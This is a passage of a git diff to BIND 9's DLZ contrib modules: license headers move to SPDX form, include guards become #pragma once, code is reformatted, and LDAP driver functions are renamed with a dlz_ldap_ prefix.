+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ */
+
+/*
+ * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
  * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
  * conceived and contributed by Rob Butler.
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2013, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -190,7 +175,8 @@ create_path_helper(char *out, const char *in, config_data_t *cd) {
 				break;
 			}
 			if (strlen((char *)&tmpPtr[i + 1]) <=
-			    (unsigned int)cd->splitcnt) {
+			    (unsigned int)cd->splitcnt)
+			{
 				break;
 			}
 			i += cd->splitcnt;
@@ -401,10 +387,12 @@ process_dir(dir_t *dir, void *passback, config_data_t *cd, dlist_t *dir_list,
 					 */
 					while ((tmpPtr = strrchr(
 							tmpString,
-							cd->pathsep)) != NULL) {
+							cd->pathsep)) != NULL)
+					{
 						if ((strlen(host) +
 						     strlen(tmpPtr + 1) + 2) >
-						    DIR_NAMEMAX) {
+						    DIR_NAMEMAX)
+						{
 							continue;
 						}
 						strcat(host, tmpPtr + 1);
@@ -412,7 +400,8 @@ process_dir(dir_t *dir, void *passback, config_data_t *cd, dlist_t *dir_list,
 						tmpPtr[0] = '\0';
 					}
 					if ((strlen(host) + strlen(tmpString) +
-					     1) <= DIR_NAMEMAX) {
+					     1) <= DIR_NAMEMAX)
+					{
 						strcat(host, tmpString);
 					}
 				}
@@ -428,13 +417,15 @@ process_dir(dir_t *dir, void *passback, config_data_t *cd, dlist_t *dir_list,
 			 */
 			while (dir_read(dir) == ISC_R_SUCCESS) {
 				if (strncasecmp(".host", dir->entry.name, 5) ==
-				    0) {
+				    0)
+				{
 					/*
 					 * handle filesystem's special
 					 * wildcard "-"
 					 */
 					if (strcmp((char *)&dir->entry.name[6],
-						   "-") == 0) {
+						   "-") == 0)
+					{
 						strcpy(host, "*");
 					} else {
 						strncpy(host,
diff --git a/contrib/dlz/modules/include/dlz_dbi.h b/contrib/dlz/modules/include/dlz_dbi.h
index 735359c873..5181abd7ce 100644
--- a/contrib/dlz/modules/include/dlz_dbi.h
+++ b/contrib/dlz/modules/include/dlz_dbi.h
@@ -1,36 +1,23 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
  * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
  * conceived and contributed by Rob Butler.
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+ * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+ * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
 #include <stdbool.h>
@@ -39,8 +26,7 @@
 #include <dlz_minimal.h>
 #include <dlz_pthread.h>
 
-#ifndef DLZ_DBI_H
-#define DLZ_DBI_H 1
+#pragma once
 
 /*
  * Types
@@ -61,7 +47,7 @@ typedef struct driverinstance driverinstance_t;
  * special tokens are %zone%, %record%, %client%
  */
 struct query_segment {
-	void *	     cmd;
+	void	    *cmd;
 	unsigned int strlen;
 	bool	     direct;
 	DLZ_LINK(query_segment_t) link;
@@ -75,17 +61,17 @@ struct query_segment {
  * make sure no two threads try to use the same DBI at a time.
  */
 struct dbinstance {
-	void *	      dbconn;
+	void	     *dbconn;
 	query_list_t *allnodes_q;
 	query_list_t *allowxfr_q;
 	query_list_t *authority_q;
 	query_list_t *findzone_q;
 	query_list_t *lookup_q;
 	query_list_t *countzone_q;
-	char *	      query_buf;
-	char *	      zone;
-	char *	      record;
-	char *	      client;
+	char	     *query_buf;
+	char	     *zone;
+	char	     *record;
+	char	     *client;
 	dlz_mutex_t   lock;
 	DLZ_LINK(dbinstance_t) link;
 };
@@ -116,5 +102,3 @@ destroy_dbinstance(dbinstance_t *dbi);
 
 char *
 get_parameter_value(const char *input, const char *key);
-
-#endif /* DLZ_DBI_H */
diff --git a/contrib/dlz/modules/include/dlz_list.h b/contrib/dlz/modules/include/dlz_list.h
index 74940d0254..077ae89a73 100644
--- a/contrib/dlz/modules/include/dlz_list.h
+++ b/contrib/dlz/modules/include/dlz_list.h
@@ -1,14 +1,22 @@
 /*
- * Copyright (C) 1997-2002, 2004, 2006, 2007, 2011-2013, 2016  Internet Systems
- * Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * SPDX-License-Identifier: ISC
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef DLZ_LIST_H
-#define DLZ_LIST_H 1
+#pragma once
 
 #define DLZ_LIST(type)             \
 	struct {                   \
@@ -47,4 +55,16 @@
 #define DLZ_LIST_PREV(elt, link) ((elt)->link.prev)
 #define DLZ_LIST_NEXT(elt, link) ((elt)->link.next)
 
-#endif /* DLZ_LIST_H */
+#define DLZ_LIST_UNLINK(list, elt, link)                                \
+	do {                                                            \
+		if ((elt)->link.next != NULL)                           \
+			(elt)->link.next->link.prev = (elt)->link.prev; \
+		else                                                    \
+			(list).tail = (elt)->link.prev;                 \
+		if ((elt)->link.prev != NULL)                           \
+			(elt)->link.prev->link.next = (elt)->link.next; \
+		else                                                    \
+			(list).head = (elt)->link.next;                 \
+		(elt)->link.prev = (void *)(-1);                        \
+		(elt)->link.next = (void *)(-1);                        \
+	} while (0)
diff --git a/contrib/dlz/modules/include/dlz_minimal.h b/contrib/dlz/modules/include/dlz_minimal.h
index f715b9feab..f2a69e40b8 100644
--- a/contrib/dlz/modules/include/dlz_minimal.h
+++ b/contrib/dlz/modules/include/dlz_minimal.h
@@ -1,19 +1,19 @@
 /*
- * Copyright (C) 2011  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -23,15 +23,14 @@
  * tree.
  */
 
-#ifndef DLZ_MINIMAL_H
-#define DLZ_MINIMAL_H 1
-
-#include <inttypes.h>
-#include <stdbool.h>
+#pragma once
 
 #include <arpa/inet.h>
+#include <inttypes.h>
 #include <net/if.h>
 #include <netinet/in.h>
+#include <stdbool.h>
+#include <stdlib.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <sys/un.h>
@@ -76,15 +75,28 @@ typedef uint32_t     dns_ttl_t;
 
 /* other useful definitions */
 #define UNUSED(x) (void)(x)
-#define DE_CONST(konst, var)           \
-	do {                           \
-		union {                \
-			const void *k; \
-			void *	    v; \
-		} _u;                  \
-		_u.k = konst;          \
-		var = _u.v;            \
-	} while (0)
+
+#define UNCONST(ptr) ((void *)(uintptr_t)(ptr))
+
+#if !defined(__has_c_attribute)
+#define __has_c_attribute(x) 0
+#endif /* if !defined(__has_c_attribute) */
+
+#if __has_c_attribute(fallthrough)
+#define FALLTHROUGH [[fallthrough]]
+#elif __GNUC__ >= 7 && !defined(__clang__)
+#define FALLTHROUGH __attribute__((fallthrough))
+#else
+/* clang-format off */
+#define FALLTHROUGH do {} while (0) /* FALLTHROUGH */
+/* clang-format on */
+#endif
+
+#ifdef __GNUC__
+#define UNREACHABLE() __builtin_unreachable()
+#else
+#define UNREACHABLE() abort()
+#endif
 
 /* opaque structures */
 typedef void *dns_sdlzlookup_t;
@@ -105,21 +117,38 @@ typedef struct isc_sockaddr {
 		struct sockaddr_un  sunix;
 	} type;
 	unsigned int length;
-	void *	     link;
+	void	    *link;
 } isc_sockaddr_t;
 
-#define DNS_CLIENTINFO_VERSION 2
+typedef struct isc_netaddr {
+	unsigned int family;
+	union {
+		struct in_addr	in;
+		struct in6_addr in6;
+		char		un[sizeof(((struct sockaddr_un *)0)->sun_path)];
+	} type;
+	uint32_t zone;
+} isc_netaddr_t;
+
+typedef struct dns_ecs {
+	isc_netaddr_t addr;
+	uint8_t	      source;
+	uint8_t	      scope;
+} dns_ecs_t;
+
+#define DNS_CLIENTINFO_VERSION 3
 typedef struct dns_clientinfo {
-	uint16_t version;
-	void *	 data;
-	void *	 dbversion;
+	uint16_t  version;
+	void	 *data;
+	void	 *dbversion;
+	dns_ecs_t ecs;
 } dns_clientinfo_t;
 
 typedef isc_result_t (*dns_clientinfo_sourceip_t)(dns_clientinfo_t *client,
-						  isc_sockaddr_t ** addrp);
+						  isc_sockaddr_t  **addrp);
 
 typedef isc_result_t (*dns_clientinfo_version_t)(dns_clientinfo_t *client,
-						 void **	   addrp);
+						 void		 **addrp);
 
 #define DNS_CLIENTINFOMETHODS_VERSION 2
 #define DNS_CLIENTINFOMETHODS_AGE     1
@@ -127,10 +156,13 @@ typedef struct dns_clientinfomethods {
 	uint16_t		  version;
 	uint16_t		  age;
 	dns_clientinfo_sourceip_t sourceip;
-	dns_clientinfo_version_t  dbversion;
 } dns_clientinfomethods_t;
 #endif /* DLZ_DLOPEN_VERSION > 1 */
 
+#define DNS_ECS_FORMATSIZE                                                \
+	sizeof("xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:XXX.XXX.XXX.XXX%SSSSSSSSSS" \
+	       "/NNN/NNN")
+
 /*
  * Method definitions for callbacks provided by the dlopen driver
  */
@@ -287,5 +319,3 @@ dlz_subrdataset(const char *name, const char *rdatastr, void *dbdata,
 isc_result_t
 dlz_delrdataset(const char *name, const char *type, void *dbdata,
 		void *version);
-
-#endif /* DLZ_MINIMAL_H */
diff --git a/contrib/dlz/modules/include/dlz_pthread.h b/contrib/dlz/modules/include/dlz_pthread.h
index fd8d5fe899..1e0b6f4ae2 100644
--- a/contrib/dlz/modules/include/dlz_pthread.h
+++ b/contrib/dlz/modules/include/dlz_pthread.h
@@ -1,27 +1,23 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
  * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
  * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
  * PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef DLZ_PTHREAD_H
-#define DLZ_PTHREAD_H 1
-
-#ifndef PTHREADS
-#define PTHREADS 1
-#endif /* ifndef PTHREADS */
+#pragma once
 
-#ifdef PTHREADS
 #include <pthread.h>
 #define dlz_mutex_t	  pthread_mutex_t
 #define dlz_mutex_init	  pthread_mutex_init
@@ -29,13 +25,3 @@
 #define dlz_mutex_lock	  pthread_mutex_lock
 #define dlz_mutex_trylock pthread_mutex_trylock
 #define dlz_mutex_unlock  pthread_mutex_unlock
-#else /* !PTHREADS */
-#define dlz_mutex_t	     void
-#define dlz_mutex_init(a, b) (0)
-#define dlz_mutex_destroy(a) (0)
-#define dlz_mutex_lock(a)    (0)
-#define dlz_mutex_trylock(a) (0)
-#define dlz_mutex_unlock(a)  (0)
-#endif /* ifdef PTHREADS */
-
-#endif /* DLZ_PTHREAD_H */
diff --git a/contrib/dlz/modules/ldap/Makefile b/contrib/dlz/modules/ldap/Makefile
index 8926abf881..d9b6ff5bfe 100644
--- a/contrib/dlz/modules/ldap/Makefile
+++ b/contrib/dlz/modules/ldap/Makefile
@@ -1,7 +1,32 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 prefix = /usr
 libdir = $(prefix)/lib/bind9
 
-CFLAGS=-fPIC -g -I../include
+CFLAGS += -fPIC -g -I../include
 LDAP_LIBS=-lldap
 
 all: dlz_ldap_dynamic.so
diff --git a/contrib/dlz/modules/ldap/dlz_ldap_dynamic.c b/contrib/dlz/modules/ldap/dlz_ldap_dynamic.c
index 543a95d7a8..ce1c50c44a 100644
--- a/contrib/dlz/modules/ldap/dlz_ldap_dynamic.c
+++ b/contrib/dlz/modules/ldap/dlz_ldap_dynamic.c
@@ -1,45 +1,30 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * The development of Dynamically Loadable Zones (DLZ) for BIND 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 1999-2001, 2013, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
+ * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -84,11 +69,7 @@
  * many separate instances.
  */
 typedef struct {
-#if PTHREADS
 	db_list_t *db; /*%< handle to a list of DB */
-#else		       /* if PTHREADS */
-	dbinstance_t *db; /*%< handle to db */
-#endif		       /* if PTHREADS */
 	int method;    /*%< security authentication
 			* method */
 	char *user;    /*%< who is authenticating */
@@ -128,7 +109,8 @@ b9_add_helper(ldap_instance_t *db, const char *helper_name, void *ptr);
 
 /*% checks that the LDAP URL parameters make sense */
 static isc_result_t
-ldap_checkURL(ldap_instance_t *db, char *URL, int attrCnt, const char *msg) {
+dlz_ldap_checkURL(ldap_instance_t *db, char *URL, int attrCnt,
+		  const char *msg) {
 	isc_result_t result = ISC_R_SUCCESS;
 	int ldap_result;
 	LDAPURLDesc *ldap_url = NULL;
@@ -193,7 +175,7 @@ ldap_checkURL(ldap_instance_t *db, char *URL, int attrCnt, const char *msg) {
 
 /*% Connects / reconnects to LDAP server */
 static isc_result_t
-ldap_connect(ldap_instance_t *dbi, dbinstance_t *dbc) {
+dlz_ldap_connect(ldap_instance_t *dbi, dbinstance_t *dbc) {
 	isc_result_t result;
 	int ldap_result;
 
@@ -241,14 +223,13 @@ ldap_connect(ldap_instance_t *dbi, dbinstance_t *dbc) {
 	return (result);
 }
 
-#if PTHREADS
 /*%
  * Properly cleans up a list of database instances.
  * This function is only used when the driver is compiled for
  * multithreaded operation.
  */
 static void
-ldap_destroy_dblist(db_list_t *dblist) {
+dlz_ldap_destroy_dblist(db_list_t *dblist) {
 	dbinstance_t *ndbi = NULL;
 	dbinstance_t *dbi = NULL;
 
@@ -282,7 +263,7 @@ ldap_destroy_dblist(db_list_t *dblist) {
  * multithreaded operation.
  */
 static dbinstance_t *
-ldap_find_avail_conn(ldap_instance_t *ldap) {
+dlz_ldap_find_avail_conn(ldap_instance_t *ldap) {
 	dbinstance_t *dbi = NULL;
 	dbinstance_t *head;
 	int count = 0;
@@ -312,11 +293,10 @@ ldap_find_avail_conn(ldap_instance_t *ldap) {
 		  count);
 	return (NULL);
 }
-#endif /* PTHREADS */
 
 static isc_result_t
-ldap_process_results(ldap_instance_t *db, LDAP *dbc, LDAPMessage *msg,
-		     char **attrs, void *ptr, bool allnodes) {
+dlz_ldap_process_results(ldap_instance_t *db, LDAP *dbc, LDAPMessage *msg,
+			 char **attrs, void *ptr, bool allnodes) {
 	isc_result_t result = ISC_R_SUCCESS;
 	int i = 0;
 	int j;
@@ -543,8 +523,8 @@ ldap_process_results(ldap_instance_t *db, LDAP *dbc, LDAPMessage *msg,
  * obtain a result set.
  */
 static isc_result_t
-ldap_get_results(const char *zone, const char *record, const char *client,
-		 unsigned int query, void *dbdata, void *ptr) {
+dlz_ldap_get_results(const char *zone, const char *record, const char *client,
+		     unsigned int query, void *dbdata, void *ptr) {
 	isc_result_t result;
 	ldap_instance_t *db = (ldap_instance_t *)dbdata;
 	dbinstance_t *dbi = NULL;
@@ -556,16 +536,8 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 	int entries;
 
 	/* get db instance / connection */
-#if PTHREADS
 	/* find an available DBI from the list */
-	dbi = ldap_find_avail_conn(db);
-#else  /* PTHREADS */
-	/*
-	 * only 1 DBI - no need to lock instance lock either
-	 * only 1 thread in the whole process, no possible contention.
-	 */
-	dbi = (dbinstance_t *)(db->db);
-#endif /* PTHREADS */
+	dbi = dlz_ldap_find_avail_conn(db);
 
 	/* if DBI is null, can't do anything else */
 	if (dbi == NULL) {
@@ -667,7 +639,7 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 		 * screwed up!
 		 */
 		db->log(ISC_LOG_ERROR, "Incorrect query flag passed to "
-				       "ldap_get_results");
+				       "dlz_ldap_get_results");
 		result = ISC_R_UNEXPECTED;
 		goto cleanup;
 	}
@@ -700,7 +672,8 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 			db->log(ISC_LOG_INFO, "LDAP driver attempting to "
 					      "re-connect");
 
-			result = ldap_connect((ldap_instance_t *)dbdata, dbi);
+			result = dlz_ldap_connect((ldap_instance_t *)dbdata,
+						  dbi);
 			if (result != ISC_R_SUCCESS) {
 				result = ISC_R_FAILURE;
 				continue;
@@ -731,7 +704,8 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 		case LDAP_SERVER_DOWN:
 			db->log(ISC_LOG_INFO, "LDAP driver attempting to "
 					      "re-connect");
-			result = ldap_connect((ldap_instance_t *)dbdata, dbi);
+			result = dlz_ldap_connect((ldap_instance_t *)dbdata,
+						  dbi);
 			if (result != ISC_R_SUCCESS) {
 				result = ISC_R_FAILURE;
 			}
@@ -755,13 +729,15 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 
 	switch (query) {
 	case ALLNODES:
-		result = ldap_process_results(db, (LDAP *)dbi->dbconn, ldap_msg,
-					      ldap_url->lud_attrs, ptr, true);
+		result = dlz_ldap_process_results(db, (LDAP *)dbi->dbconn,
